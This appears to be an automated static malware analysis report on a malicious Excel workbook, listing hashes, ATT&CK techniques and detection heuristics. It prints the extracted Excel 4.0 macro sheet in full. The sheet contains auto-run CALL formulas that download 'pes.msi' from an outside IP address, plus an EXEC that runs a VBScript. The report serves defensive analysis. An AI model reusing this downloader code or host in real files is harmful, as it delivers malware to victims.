Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0e79bf7dc2292941…

MALICIOUS

Office (OOXML)

6.7 KB Created: 2007-04-03 04:03:07 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-15
MD5: 3c4e553451213dd63d894b40f90cad3d SHA-1: 35fdf085171fafd049d3507659762eaa4ab15d1a SHA-256: 0e79bf7dc2292941a2ad2d0f5d179441163f0717a818a2509e495802a7ae7af7
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros that utilize dangerous functions like CALL and EXEC. Specifically, the CALL function is used to download a file named 'pes.msi' from 'http://46.17.98.187/index.php' and the EXEC function is used to run 'wscript C:\zer\spp.vbs'. This indicates a clear intent to download and execute a secondary payload.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://46.17.98.187/index.php In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://google.com/index.phpIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1735 bytes
SHA-256: bf82db1dd1abfa1056f36a0fd9aaef5819d04a3f5875fa0a5e467d776b4852cf
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="ED97:ED188"/><sheetViews><sheetView showFormulas="1" tabSelected="1" topLeftCell="DY163" workbookViewId="0"><selection activeCell="ED171" sqref="ED171"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="133" width="9.140625" style="1"/><col min="134" max="134" width="78.5703125" style="1" customWidth="1"/><col min="135" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="97" spans="134:134" x14ac:dyDescent="0.25"><c r="ED97" s="1" t="s"><v>0</v></c></row><row r="173" spans="134:134" x14ac:dyDescent="0.25"><c r="ED173" s="1" t="b"><f>CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0)</f><v>0</v></c></row><row r="175" spans="134:134" x14ac:dyDescent="0.25"><c r="ED175" s="1"><f>CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0)</f><v>0</v></c></row><row r="177" spans="134:134" x14ac:dyDescent="0.25"><c r="ED177" s="1"><f>EXEC("wscript C:\zer\spp.vbs")</f><v>33</v></c></row><row r="188" spans="134:134" x14ac:dyDescent="0.25"><c r="ED188" s="1" t="b"><f>HALT()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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